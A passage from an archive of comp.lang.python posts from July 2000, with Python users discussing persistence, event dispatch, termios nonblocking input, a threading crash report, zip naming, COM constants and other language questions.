From hei at adtranzsig.de  Tue Jul 11 11:47:05 2000
From: hei at adtranzsig.de (Dirk-Ulrich Heise)
Date: Tue, 11 Jul 2000 17:47:05 +0200
Subject: POOP / Python (Object Oriented Persistence) ?
References: <002e01bfeb19$619a11a0$f0c809c0@lslp7o.lsl.co.uk> <8kfd7o$2tf$1@desig-bs01-s04.adtranzsig.de>
Message-ID: <8kfffh$3q9$1@desig-bs01-s04.adtranzsig.de>

Okay, somebody pointed me to __setstate__.
For other people: read

http://www.python.org/workshops/2000-01/proceedings/papers/fulton/zodb3.html

especially

"2.6 Object evolution"

if you want to know what i'm talking about.


--
Dipl.Inform. Dirk-Ulrich Heise
hei at adtranzsig.de
dheise at debitel.net


"Dirk-Ulrich Heise" <hei at adtranzsig.de> schrieb im Newsbeitrag
news:8kfd7o$2tf$1 at desig-bs01-s04.adtranzsig.de...
[...]
> That's my principal problem with all this
> persistency stuff - interoperability between
> versions of a program. Or is ZODB the first
> thing to overcome this, and i missed
> something?





From rupole at compaq.net  Tue Jul 18 17:02:13 2000
From: rupole at compaq.net (Roger Upole)
Date: Tue, 18 Jul 2000 21:02:13 GMT
Subject: event handler advice
References: <8l033n$pr2$1@la-mail4.digilink.net>
Message-ID: <msOc5.43456$e6.2107755@pouncer.easynews.com>

No HAHA, actually you can do exactly that.  Just construct your dictionary
so
that it maps the event integer value to the function itself.
def eventhandler1()
    ....
def eventhandler2()
    ....
def eventhandler3()
    ....
eventmap = {eventvalue1:eventhandler1, eventvalue2:eventhandler2,
eventvalue3:eventhandler3 }
eventhandler  = eventmap[someeventvalue]
eventhandler()

   HTH

       Roger Upole

Then you can
"Pete Shinners" <pete at visionart.com> wrote in message
news:8l033n$pr2$1 at la-mail4.digilink.net...
> i'm trying to write a simple event handler python class.
> so far i haven't come up with an 'elegant' solution i was
> expecting.
>
> i have a list of different messages, and they are all
> given different interger values. this list is defined
> in a C extension, for example
> msg.INIT, msg.EXIT, msg.STOP, msg.PLAY, ...
>
>
> i want to make a inheritable class that receives one
> of these messages and calls a member routine with the
> same name. my handler doesn't know the name of the
> variable, since python only sends it the INT value.
>
> so i need to find some nice way to map these message ids
> to a method name. i then need to get this name and have
> the class call it on itself.
>
> the end result being i can call
> "mymessagehandler_inst.handle(msg.PLAY)"
> and this will in turn call
> "mymessagehandler_inst.PLAY()"
>
> there's a good sized list of these messages, and in the
> future it will likely expand
>
> my guess is i need some dictionary that defines the
> messages and their routine name (no shortcut way to do
> this unless python had #define like macros :])
>
> messages = {msg.INIT:"INIT", msg.PLAY:"PLAY", ...etc}
>
> then a routine like
>
> class basehandler:
>     def handle(messageid):
>         name = messages[messageid]
>         self.name()   #HAHA, no really, how do i do this?
>
> but i'm not exactly sure how to write this. need help, thx
>
>
>






From robin at jessikat.fsnet.co.uk  Thu Jul 13 18:34:46 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Thu, 13 Jul 2000 23:34:46 +0100
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com>
 <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com>
 <slrn8lj56i.l52.thomas@centurion.xs4all.nl>
 <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com>
 <3968fadf.299209218@nntp.interaccess.com> <396A1436.3B6BD73B@sage.att.com>
 <Epxa5.13351$Tb7.89807@news-server.bigpond.net.au>
 <8kld9h$489$1@nnrp1.deja.com>
Message-ID: <FwngrVAGQkb5EwGr@jessikat.fsnet.co.uk>

In article <8kld9h$489$1 at nnrp1.deja.com>, Mark Hammond
<MarkH at ActiveState.com> writes
>In article <Epxa5.13351$Tb7.89807 at news-server.bigpond.net.au>,
>
...
>
>However, this should be quite exciting for the Python community.  The
>general feel of the conference here is that the MS .NET technology is
>exciting and a good thing.  I predict that the Windows community will
>embrace this technology, and having Python be a first-class citizen is a
>good thing!  It _is_ a radical change.
>

sounds like the snake got bitten to me; OS seems like a better way to
go. Or perhaps IL is OS as are all the translators.

>Mark (still at the PDC!)
>
...
-- 
Robin Becker


From jerry_spicklemire at my-deja.com  Wed Jul  5 11:48:39 2000
From: jerry_spicklemire at my-deja.com (jerry_spicklemire at my-deja.com)
Date: Wed, 05 Jul 2000 15:48:39 GMT
Subject: Postscript font metrics?
References: <39622330.3732B225@yahoo.com>
Message-ID: <8jvlcg$d1p$1@nnrp1.deja.com>

In article <39622330.3732B225 at yahoo.com>,
  Paul Winkler <slinkp23 at yahoo.com> wrote:

> I might have a go at hacking the relevant parts of the Perl
> PostScript-Font-1.02 module into Python... but then I'll have to
> (yuck) read someone else's Perl code, which I haven't done in a
> looong time and I was never that good at it.
>

If you already have a notion of how to go about this
with the Perl module, you might look at Minotaur

 http://mini.net/pub/ts2/minotaur.html

to call the Perl functions from Python.

Good luck,
Jerry S.



Sent via Deja.com http://www.deja.com/
Before you buy.


From nospam at buzzoff.com  Wed Jul 19 17:45:53 2000
From: nospam at buzzoff.com (Moritz Voss)
Date: Wed, 19 Jul 2000 23:45:53 +0200
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <963990339.783645@marvin> <8l4h60$jnk$2@gxsn.com> <8l4isr$l58$2@newshost.accu.uu.nl>
Message-ID: <8l57fc$vi8$1@fermi.tro.net>

"Martijn Faassen" <m.faassen at vet.uu.nl> schrieb im Newsbeitrag
news:8l4isr$l58$2 at newshost.accu.uu.nl...
> In comp.lang.python Newsgroup <newsgroup at neutron.globalnet.co.uk> wrote:
> >> In the Open Source Crystal Space 3D engine we are working on a
framework
> > for python
> >> scripting. It is already working reasonably well but you cannot yet do
> > everything
> >> that you'd want to do from a python script.
>
> > Can anybody explain what you actually do to attach the python, or any
other
> > general purpose scripting language, to your game?
>
> Sure, for Python the documentation is here:
>
> http://www.python.org/doc/current/ext/ext.html
> http://www.python.org/doc/current/api/api.html
>
> Be sure to check out stackless Python, which has some advantages for
> game scripting:
>
> http://www.stackless.com/
>
> > I'm making a game with a
> > scripted engine and I have to write my own compiler to convert scripts
into
> > a length of integers and a virtual machine to convert it into game
logic.
> > Does python produce it's own compiled code and you then have to write a
> > virtual machine based on this output?
>
> Hm, Python produces its own compiled code (virtual machine instructions),
> and Python includes a virtual machine. You just hook Python into your
> game.
>

> So no, you don't have to do all that; Python already includes a compiler
> and interpreter that can be embedded into your game.

HOW FAST ARE THESE? <drool> I am developing a very similar API to that of
"Newsgroup", with a very lowlevel assembly-style scripting launguage that is
translated int oVM code...

You could say hearing of pythonis like licking fresh blood :)

Okay, I'll be downloading all I need for python and have a look at it. :)



--
--
Moritz "Thygrrr" Voss
Client-Server & OpenGL Coder
spirit.link.studios - http://o2.ods.org


> Martijn

> --
> History of the 20th Century: WW1, WW2, WW3?
> No, WWW -- Could we be going in the right direction?

Smart :)




From xiarcexml at yahoo.com  Wed Jul 12 16:11:49 2000
From: xiarcexml at yahoo.com (Dave Williams)
Date: Wed, 12 Jul 2000 13:11:49 -0700 (PDT)
Subject: Switching to Linux...... converting files and databases....
Message-ID: <20000712201149.7701.qmail@web5302.mail.yahoo.com>

Hello...  I am learning Python ((although I've taken a break from it
to put some finishing touches on a Java application I wrote))... and
something >>drastic<< occurred...

My Windows 95 crashed... big-time...  OK.. so why do you care??
Well.. I was looking for input on whether Python would be the right
choice for this product...

The problem:
1) Windows 95
2) Files such as Word Files, Excel Databases, Works Files, Access
Databases...
3) A family member who is resisting the >>potential<< change to
Linux.

A solution (???)
1) Linux
2) deferred to below:
3) as well, deferred to below:

Proposed project: The Windows to Linux Survival Kit
Subject: Software that can open and read Microsoft's proprietary
(wrong word?) files and convert them to databases and files usable by
Linux's opensource software..

I am in the planning stages, and I am simply wondering... Should I
consider Python as a suitable language for writing these programs? 
And does anyone have any suggested resources for the hows (not whys)
of Linux, and perhaps for the use of Microsoft files with Python? 
Another idea of mine involves XML (another one of my pet learning
projects).

...or maybe something exists out there (or a project that I can get
involved in) already?

Thanks alot,

Dave

__________________________________________________
Do You Yahoo!?
Get Yahoo! Mail ? Free email you can access from anywhere!
http://mail.yahoo.com/



From gmcm at hypernet.com  Mon Jul 17 23:01:25 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 18 Jul 2000 03:01:25 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators  for   matrix computation)
References: <Pine.LNX.4.10.10007171657010.2845-100000@rocket.knowledgetrack.com>
Message-ID: <8F74EFC76gmcmhypernetcom@199.171.54.155>

Huaiyu Zhu wrote: 

>I don't see such arguments as any different from the claim that string
>literals are sintactic sugar for the single domain of text processing
>only (web and re and so on being subdomains).  Since by such definition
>text processing is a very large domain I do want string literals even
>just for this only domain, even if it does not include everything.

Look at it this way: the implementation of Python is based on strings, 
tuples, dicts and lists. So they came for free. The most exotic operators 
Python currently has are probably the shift operators. That's really not a 
good precedent for 8 new operators.

[bjorn suggest preprocessing...]

>This could work if there is a hook so that 
>
>import mymodule
>
>would automatically run
>
>preprocessor < mymodule.mpy > mymodule.py
>
>anywhere in the path.  It should do this after examining the timestamp
>just like current import does.  Otherwise after a few surprises people
>would keep .py instead of .mpy so it is just a helper for writing, but
>not useful for extending or maintaining code,

Get Greg Stein's imputil.py from 
 http://www.lyra.org/greg/python/
(or wait for BeOpen's first release - it'll be in the std lib). It has a 
hook for this.

-Gordon



From see at below  Sun Jul 30 22:03:49 2000
From: see at below (Paul Foley)
Date: 31 Jul 2000 14:03:49 +1200
Subject: experts disagree on "call-by-reference"
References: <8m29o0$p9g$2@news.dtc.hp.com> <B5AA2FB3.6F04%dgoodger@bigfoot.com>
Message-ID: <m2lmyjrr7e.fsf@mycroft.actrix.gen.nz>

On Sun, 30 Jul 2000 19:17:08 -0400, David Goodger wrote:

> on 2000-07-30 18:20, Greg Weeks (weeks at golden.dtc.hp.com) wrote:
>> All of the passages mentioned above could just as well apply to Python.
>> The experts are in explicit disagreement.

> You're comparing apples with oranges. Of course they're "in disagreement",
> because they're describing different things.

You seem to have missed the whole point of the post to which you're
replying, which was that they're _NOT_ describing different things.
Variables in Python work exactly like variables in Lisp, etc.; nihil
sub sole novum.

Greg Weeks has consistently failed to understand that the meaning he
wants to apply to the terms "call by value" and "call by reference"
seems to be somewhat at odds with what everyone else means by those
terms; I'm sure the authors he quoted wouldn't actually disagree at
all if you asked them (i.e., I'm quite confident that each and every
one of them understands what's actually going on)

[long-winded explanation of Lisp-like variable semantics elided]

> Terms like "pass by reference" don't really apply to Python in the
> traditional sense, because we're dealing with a higher order of

Yes, exactly.  "Pass by whatever" has never really applied to
Lisp-like call semantics, Greg Weeks' protestations about "the old way
of speaking" notwithstanding.

-- 
Cogito ergo I'm right and you're wrong.               -- Blair Houghton

(setq reply-to
  (concatenate 'string "Paul Foley " "<mycroft" '(#\@) "actrix.gen.nz>"))


From donn at u.washington.edu  Tue Jul 11 13:35:36 2000
From: donn at u.washington.edu (Donn Cave)
Date: 11 Jul 2000 17:35:36 GMT
Subject: Nonblocking IO?
References: <slrn8mks34.1iqj.cjc26@synecdoche.bridget.mindriot.net> <E139sQ2-0002Vi-00@localhost>
Message-ID: <8kflt8$7f3o$1@nntp6.u.washington.edu>

Quoth cjc26 at nospam.cornell.edu (Cliff Crawford):
| * Nolan Darilek <nolan_d at bigfoot.com> menulis:
| | 
| | The most obvious solution is to use curses, but this makes my program
| | much more complex than it needs to be. Since cmd does almost exactly
| | what I want it to do, I'd much rather change the Cmd class than add
| | curses. I've seen code written in C which does what I'd like to do
| | (Micq, for example, has the interface which I'm aiming for, yet it
| | doesn't use curses/ncurses.) So, is it somehow possible to either a)
| | make raw_input nonblocking or b) use some other nonblocking IO method?
|
| You could use the select module to wait for input from multiple file
| descriptors (for example, sys.stdin and a socket).  Also, the asyncore
| module is a higher-level interface to select, and may be useful to you
| too.
|
|
| | And, is it then possible to ensure that the output from the socket
| | isn't intermingled with the input? If I do nonblocking IO, I'm
| | assuming that it's simply a matter of printing a newline, my message,
| | and then reprinting the prompt while stuffing the existing input back
| | into the input buffer.
|
| Have you checked out the termios module?  That would be pretty much the
| only other way to do it, besides curses (which is aptly named, don't you
| think? ;)

Right, and that's really the way to get input right away after a key
press too.  I don't have the original post here, but I thought that
might have really been the question.  Since I know a useful answer
to that question, let's pretend so anyway.

When we really want "non-blocking" input, the issue is whether the
system should return from read() whether there is data or not -
normally it "blocks" until data arrives.  Hence the interest in
select(), which is all about this issue of where there's data.

With the terminal we also have the question of _how much_ data should
the system return, should it return a whole LF-terminated line or
return each single byte as it arrives.  This is a function of the
terminal device driver, and you have to use these device specific
termios ioctls to 1) turn off canonical input processing, which is
where it reads whole lines at a time and applies back-spacing edits etc.,
and 2) tell it to read one byte and not to wait for anything more.

The appended code works for me on Digital UNIX.  You may also want
to turn off echo, and print the input yourself.

As for output that happens while the user is typing input, it might
be possible to clean that up a little with some VT100 escapes.
That's difficult in a continuous scrolling model, but if the output
is presented one screen per event it might be pretty easy.

	Donn Cave, University Computing Services, University of Washington
	donn at u.washington.edu
-----------------------------
import termios
import TERMIOS
import posix

iflag, oflag, cflag, lflag, ispeed, ospeed, cc = termios.tcgetattr(0)

lflag2 = lflag & ~TERMIOS.ICANON
cc2 = cc[:]
cc2[TERMIOS.VMIN] = 1
cc2[TERMIOS.VTIME] = 0
termios.tcsetattr(0, TERMIOS.TCSADRAIN,
        [iflag, oflag, cflag, lflag2, ispeed, ospeed, cc2])

posix.write(1, 'Press key: ')
stuff = posix.read(0, 1)
print '\nstuff:', repr(stuff)

termios.tcsetattr(0, TERMIOS.TCSADRAIN,
        [iflag, oflag, cflag, lflag, ispeed, ospeed, cc])


From mwh21 at cam.ac.uk  Wed Jul 19 02:13:23 2000
From: mwh21 at cam.ac.uk (Michael Hudson)
Date: 19 Jul 2000 07:13:23 +0100
Subject: zip or marry etc
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk>
Message-ID: <m3og3uprzw.fsf@atrus.jesus.cam.ac.uk>

Robin Becker <robin at jessikat.fsnet.co.uk> writes:

> I suppose there must be something desperately wrong with using the
> __mul__ for sequences to indicate the set pairwise product. I would
> certainly be for
> 
> x,y in A*B rather than x,y in zip(A,B) or marry(A,B), but since * is the
> obvious operator it must be that someone else has reserved it.

Well, whatever "zip" ends up being called, it doesn't return the
Cartesian product of the set of elements of the list, so using the
product operator would be, at best, confusing!

Wouldn't you expect

>>> for i,j in [0,1]*[2,3]:
...     print i,j
(0,2)
(0,3)
(1,2)
(1,3)

rather than 

>>> for i,j in zip([0,1],[2,3]):
...     print i,j
(0,2)
(1,3)

?

Cheers,
M.

-- 
  I also fondly recall Paris because that's where I learned to
  debug Zetalisp while drunk.                          -- Olin Shivers


From moshez at math.huji.ac.il  Sat Jul 29 02:16:10 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Sat, 29 Jul 2000 09:16:10 +0300 (IDT)
Subject: GPL Compatability (was Re: The State of Python)
In-Reply-To: <8lsipi$hoq$1@newshost.accu.uu.nl>
Message-ID: <Pine.GSO.4.10.10007290914210.18798-100000@sundial>

On 28 Jul 2000, Martijn Faassen wrote:

> Moshe Zadka <moshez at math.huji.ac.il> wrote:
> > On Fri, 28 Jul 2000, Paul Duffin wrote:
> 
> >> What does GPL compatible mean ? 
> 
> > It means that it can be relicenced as GPL.
> 
> Are you sure? I thought it meant you could legally link it to
> GPL-ed software. That's what the whole Qt/KDE squabble is about, at least.

Martijn, you keep forgetting I'm a mathematician -- we're almost as bad as
lawyers. I *did* not say that for any licence X, Y is X compatible is Y
can be relicenced as X. However, because of the viral nature of the GPL,
what you said and what I said is equivalent.
--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From glyph at twistedmatrix.com  Wed Jul 19 15:32:27 2000
From: glyph at twistedmatrix.com (Glyph Lefkowitz)
Date: Wed, 19 Jul 2000 14:32:27 -0500 (EST)
Subject: Obscure Threading Bug
Message-ID: <Pine.LNX.4.21.0007191415030.29946-200000@zaibach.twistedmatrix.com>


I apologize for the length and obscurity of the attachment.  However, the
previous example where I encountered this bug was easily twenty times as
long, and it took some effort to make it this short :-).

Simply put, the interpreter usually segfaults when I run this file.  I
don't know exactly why.  My copy of python doesn't have debugging
symbols,so my backtraces aren't terribly meaningful, but the first few
lines are usually something like:

#0  __flockfile (stream=0x0) at lockfile.c:32
#1  0x4009ac07 in _IO_ferror (fp=0x0) at ferror.c:35
#2  0x8069178 in PyFile_SetBufSize ()

the common theme being PyFile_SetBufSize ().

"lots of threads, lots of sockets" is a common theme for a lot of apps
that I would like to build, so I would be glad to help if there's any more
information I can supply.

This bug has been known to occurr on: RedHat/Debian Linux default Python
install, Digital Unix python 1.5.2 (Digital UNIX V4.0F  (Rev. 1229); Thu
Jul 15 17:56:36 EET DST 1999) and on debian using CVS python.

                      ______      __   __  _____  _     _
                     |  ____ |      \_/   |_____] |_____|
                     |_____| |_____  |    |       |     |
                     @ t w i s t e d m a t r i x  . c o m
                     http://www.twistedmatrix.com/~glyph/
-------------- next part --------------
#!/usr/bin/env python

from threading import *
from SocketServer import StreamRequestHandler, ThreadingTCPServer
from time import *
from socket import *

class Client:
	def __init__(self,host,port):
		self.connection=socket(AF_INET,SOCK_STREAM)
		self.connection.connect(host,port)
		self.rfile = self.connection.makefile('rb', 0)
		self.wfile = self.connection.makefile('wb', 0)

	def reader(self):
		try:
			while 1:
				self.rfile.read(1)
		except: pass
	def writer(self):
		try:
			while 1:
				self.wfile.write('xxxxxxxx')
		except: pass
	def read_forever(self):
		try:
			Thread(target=self.reader).start()
			Thread(target=self.writer).start()
			self.rfile.close()
			self.rfile.close()
		except: pass

class Handler(StreamRequestHandler):
	def handle(self):
		try:
			for i in range(100):
				self.rfile.read(1)
				self.wfile.write('xx')
			self.wfile.close()
			self.rfile.close()
		except: pass
		
class Server(ThreadingTCPServer):
	def __init__(self,port, handler):
		ThreadingTCPServer.__init__(self,('',port), handler)
	
	def server_bind(self):
		self.socket.setsockopt(SOL_SOCKET,SO_REUSEADDR,1)
		ThreadingTCPServer.server_bind(self)

s=Server(101010,Handler)
t=Thread(target=s.serve_forever)
t.start()
sleep(2)
for i in range(100):
	c=Client('localhost',101010)
	for i in range(100):
		Thread(target=c.read_forever).start()
		c.wfile.write('x')
		c.rfile.read()
	sleep(2)
	print 'ranging'



From max at alcyone.com  Mon Jul 10 16:36:47 2000
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 10 Jul 2000 13:36:47 -0700
Subject: Circular reference problem -- advice? (resolved)
References: <396A1EC6.6738CFCC@alcyone.com> <20000710123559.A2218@freei.com> <20000710214046.P26534@xs4all.nl>
Message-ID: <396A33DF.495B59F5@alcyone.com>

Thomas Wouters wrote:

> Don't forget that an instnace's __dict__ doesn't list methods, just
> data
> members. (instance methods are created on the fly, from the unbound
> versions, and not stored in the instance's __dict__.)
> 
> getattr() will work though, hadn't thought about that one ;)

Thanks for the responses, folks.  As it turned out, my question was more
involved than I originally thought (I actually cancelled my post right
after sending it), but with Thomas' help via email I was able to get
what I needed via a combination of apply and getattr, a rather more
elegant solution than an exec.  (I actually couldn't use method
references at all, because it needs to respect subclassing when
dispatching.)

In the general sense, I must say I'm quite pleased with Python.  This is
the one issue that I actually had to sit down and think about;
everything else has flowed naturally from my fingertips; my first
project was a chatterbot that hooks up to a friend's talker (so I had to
write the framework to be able to communicate with it first), and this
issue was the one sticky issue that came up during the entire process --
a good sign that it's well designed and easy to learn.

Thanks again.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE
/  \ Life is something to do when you can't get to sleep.
\__/ Fran Lebowitz
    Physics reference / http://www.alcyone.com/max/reference/physics/
 A physics reference.


From cmedcoff at my-deja.com  Thu Jul  6 20:19:38 2000
From: cmedcoff at my-deja.com (Charles Medcoff)
Date: Fri, 07 Jul 2000 00:19:38 GMT
Subject: Python COM: How to access constants in type lib
Message-ID: <8k37mi$o76$1@nnrp1.deja.com>

When using Python as a COM client, how can I use/access constants
defined in a type lib from Python.

Example:


import win32com.client

engine = win32com.client.Dispatch("DAO.DBEngine.35")
db = engine.OpenDatabase(r"\test.mdb")

query = db.CreateQueryDef("base", "SELECT, bla, bla...")
query.Type = dbQMakeTable # this doesn't work

Thanks,
Chuck






--
Charles Medcoff
Senior Systems Engineer
Pyramid Solutions
1850 Research Drive, Suite 300
Troy, MI 48083


Sent via Deja.com http://www.deja.com/
Before you buy.


From hopper at omnifarious.mn.org  Tue Jul 18 19:59:42 2000
From: hopper at omnifarious.mn.org (Eric Hopper)
Date: Tue, 18 Jul 2000 17:59:42 -0600
Subject: Type checking in python?
References: <Ptvc5.40687$MT.1455524@news-west.usenetserver.com> <397296BC.415C97E1@prescod.net> <fRZc5.1487$6E.293353@ptah.visi.com> <20000718231047.D4283@xs4all.nl>
Message-ID: <yj5d5.1590$6E.308916@ptah.visi.com>

In article <20000718231047.D4283 at xs4all.nl>, Thomas Wouters
<thomas at xs4all.net> wrote:
> 
> Well, I've more than once written a debug object that behaved like
> another object but with debug output. Without subclassing, because I
> would've had to override all methods anyway, and I didn't want the debug
> class to *do* anything.

This doesn't sound like a time to make use of generic programming.  It
sounds like a time for Python's incredibly wonderful reflection
capabilities.  Especially if you've done it more than once.

> If you insist on type-checking, do it the interface-way:
> 
> getattr(object, "required_method") getattr(object, "required_datatype")
> [etc]

	*shudder*

> Scoping is incredibly simple in Python. There's the local scope, and the
> global scope ;) It might take some getting used to if you're used to
> magic or explicit scopes, but it's definately very simple ;)

It is very simple.  I would prefer more nesting of scopes though.  In
particular, lambda expressions should have the local scope they're
declared in as their global scope.  I understand why they don't.  It's
because of how references to variables inside functions are optimized.

--
Eric Hopper (hopper at omnifarious.mn.org)  (http://www.omnifarious.org/~hopper)



From peter at schneider-kamp.de  Thu Jul 20 23:32:05 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Fri, 21 Jul 2000 03:32:05 +0000
Subject: questionnaire about zip and for loops
References: <3976BDF7.82FB6C56@schneider-kamp.de>
Message-ID: <3977C435.2FF7EB3E@schneider-kamp.de>

Peter Schneider-Kamp wrote:
> 
> I'd like to use the readers of comp.lang.python as guinea pigs this time.

Come on! Only 3 have replied so far. I thought there would be
something somehow worth to be called "response"?!

Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From rpm at wag.caltech.edu  Thu Jul 27 10:18:00 2000
From: rpm at wag.caltech.edu (Richard P. Muller)
Date: Thu, 27 Jul 2000 07:18:00 -0700
Subject: Will NumPy ever be built into standard Python dist?
Message-ID: <39804498.B6182B66@wag.caltech.edu>

Does anyone know whether there are plans to make NumPy part of the
standard Python distribution?

Rick


From richard at cogsci.ed.ac.uk  Wed Jul 12 13:19:43 2000
From: richard at cogsci.ed.ac.uk (Richard Tobin)
Date: 12 Jul 2000 17:19:43 GMT
Subject: Changing the class of an instance
Message-ID: <8ki9bf$2pg3$1@pc-news.cogsci.ed.ac.uk>

Is it legal (it seems to work) to change the class of an object by
assigning to its __class__ attribute?  In particular for the case where
the new class is a subclass of the old.

I'm not looking for an argument (not even the five minute one) about
whether it's a good idea, just whether it's legal.

-- Richard

-- 
Spam filter: to mail me from a .com/.net site, put my surname in the headers.

"The Internet is really just a series of bottlenecks joined by high
speed networks." - Sam Wilson


From nowonder at pool.informatik.rwth-aachen.de  Tue Jul 25 01:22:43 2000
From: nowonder at pool.informatik.rwth-aachen.de (Peter Schneider-Kamp)
Date: Tue, 25 Jul 2000 05:22:43 +0000
Subject: newb Q: security with variables
References: <397BE388.349CCA17@mediaone.net> <2kYe5.25991$1h3.418424@news20.bellglobal.com> <8li9dq$8do$1@nnrp1.deja.com> <397CD2C4.8D28FE65@mediaone.net>
Message-ID: <397D2423.C06FEB9B@pool.informatik.rwth-aachen.de>

Toy wrote:
> 
> The link is broken, could you show me another link?
> 
> Jeremy Hylton wrote:
> 
> > http://www.cnri.reston.va.us/software/pisces/manual/module-
> > pisces.pwcrypt.html

http://www.cnri.reston.va.us/software/pisces/manual/module-pisces.pwcrypt.html

Come on, that is not THAT hard ;-)
Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From ryzam at my-deja.com  Mon Jul 24 07:36:48 2000
From: ryzam at my-deja.com (ryzam at my-deja.com)
Date: Mon, 24 Jul 2000 11:36:48 GMT
Subject: how to build ssl on window
References: <8lb9ap$j0n$1@nnrp1.deja.com> <8lc6jk$1f1$1@coco.singnet.com.sg> <8lde5s$vba$1@nnrp1.deja.com> <8leo17$tnt$1@dahlia.singnet.com.sg> <8lg7ft$odv$1@nnrp1.deja.com> <397BEAE5.3C1E5151@stroeder.com>
Message-ID: <8lh9og$fi5$1@nnrp1.deja.com>

In article <397BEAE5.3C1E5151 at stroeder.com>,
  Michael =?iso-8859-1?Q?Str=F6der?= <michael at stroeder.com> wrote:
> ryzam at my-deja.com wrote:
> >
> >  ImportError: NO module named M2Crypto
>
> Are you sure that you copied the module directory M2Crypto to your
> Python path (e.g. into site-packages/)?
>
> Ciao, Michael.
>

Yes i have unzip all the m2crypto-005 to "C:\Program Files\Python".What
version should i run it. I'm using python 1.5.2 on win98

izam



Sent via Deja.com http://www.deja.com/
Before you buy.


From jtoy at tcgfinancial.com  Wed Jul 19 17:26:19 2000
From: jtoy at tcgfinancial.com (jtoy)
Date: Wed, 19 Jul 2000 17:26:19 -0400
Subject: newb question
References: <3bRfYe$jTl@openbazaar.net> <8l2rv1$k2t$1@nnrp1.deja.com>
Message-ID: <39761CFB.4CBE0AC9@tcgfinancial.com>

Hi, Im writing back to you from a different account.  I want to use the pig
cow scenario.  A user enters his password and username, etc.  thanks





From gjm11 at g.local  Wed Jul 19 16:09:54 2000
From: gjm11 at g.local (Gareth McCaughan)
Date: Wed, 19 Jul 2000 21:09:54 +0100
Subject: zip or marry etc
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <m3og3uprzw.fsf@atrus.jesus.cam.ac.uk> <tOid5.135713$HK2.2425898@news20.bellglobal.com> <8l4g5i$8$1@slb7.atl.mindspring.net>
Message-ID: <slrn8nc2oi.1r91.gjm11@g.local>

Aahz Maruch wrote:

[Olivier Dagenais:]
>> "twist", "merge", "smash", "glue", "dna", "ladder", "join", "match",
>> "collect", "pick", "lineup"???
> 
> I like "merge".

Nooooo. "Merge" is what you do to [1,3,5] and [2,4,6] to get
[1,2,3,4,5,6]. (What it means when you give it [3,1,2] and ["a",[],1+2j]
is slightly less clear, perhaps...)

-- 
Gareth McCaughan  Gareth.McCaughan at pobox.com
sig under construction


From cut_me_out at hotmail.com  Sat Jul  8 13:03:54 2000
From: cut_me_out at hotmail.com (Alex)
Date: 08 Jul 2000 13:03:54 -0400
Subject: Splitting c.l.py...
References: <LNBBLJKPBEHFEDALKOLCMEJPGIAA.tim_one@email.msn.com> <etdog49ha40.fsf@w20-575-115.mit.edu> <8k7lld$g53$1@nnrp1.deja.com>
Message-ID: <etdr9941rlx.fsf@w20-575-115.mit.edu>

> It's not interesting <0.2 wink>.

OK, I'll take your word for it. :)

Alex.


From gmol at my-deja.com  Sun Jul  2 22:32:37 2000
From: gmol at my-deja.com (gmol at my-deja.com)
Date: Mon, 03 Jul 2000 02:32:37 GMT
Subject: Referring to method of a class without instance?
Message-ID: <8jou05$mei$1@nnrp1.deja.com>

In my application I use the observer/observable pattern..question
I hate duplicating the information of what was changed by making up a
new message type (global message variables or strings) and using tonnes
of if-else clauses.  I'd rather just tell my observer which method was
called and the arguments passed to it.  (I.e. I have atoms in 3d space,
when setPosition(position) is called I would just like to tell whoever
is interested that setPosition was called with the argument position))

Problem, how do I refer to the method of a given class without making an
instance?  Like suppose I notify my observers by giving the funciton
address and arguments, I would like the observer to have a dictionary
whose keys are methods

class Atom:
....


class myobserver:
...

   updateTable={....
       Atom.setPosition:handle_A_setPositio
    }
...

Hmm I have also just realized that given
class A:
 def __init__(self...)

a=A()

a.init is not equal to A.__methods__['__init__']

Hmmm I thought that would be the worst way I could do it, but I guess I
couldn't if I wanted to...

Any thoughts or better general solution would be appreciated...



Sent via Deja.com http://www.deja.com/
Before you buy.


From paul.magwene at yale.edu  Tue Jul 18 09:47:28 2000
From: paul.magwene at yale.edu (Paul Magwene)
Date: Tue, 18 Jul 2000 09:47:28 -0400
Subject: Does Python have "not a number" floating point values?
References: <8l03pc$92co$1@nntp6.u.washington.edu> <slrn8n76tg.2jc.hzhu@rocket.knowledgetrack.com> <878zuznc5v.fsf@ifm.uni-kiel.de>
Message-ID: <39745FF0.F328E6C@yale.edu>

Janko Hauser wrote:
> 
> This raised a floating point exception on an Alpha machine. At the
> moment this is not portable.
> 
> __Janko
> 
> --
>   Institut fuer Meereskunde             phone: 49-431-597 3989
>   Dept. Theoretical Oceanography        fax  : 49-431-565876
>   Duesternbrooker Weg 20                email: jhauser at ifm.uni-kiel.de
>   24105 Kiel, Germany

On FreeBSD (v3.5-Stable) this core dumps as well, as does:

Nan = math.exp(1000)/math.exp(1000)

-- 

Paul Magwene
paul.magwene at yale.edu


From anupamk at mindspringdot.com  Sun Jul  9 17:38:58 2000
From: anupamk at mindspringdot.com (anupam)
Date: Sun, 09 Jul 2000 17:38:58 -0400
Subject: operator ** and  pow function behaves differently
Message-ID: <3968F0F1.428553BB@mindspringdot.com>

hi all,

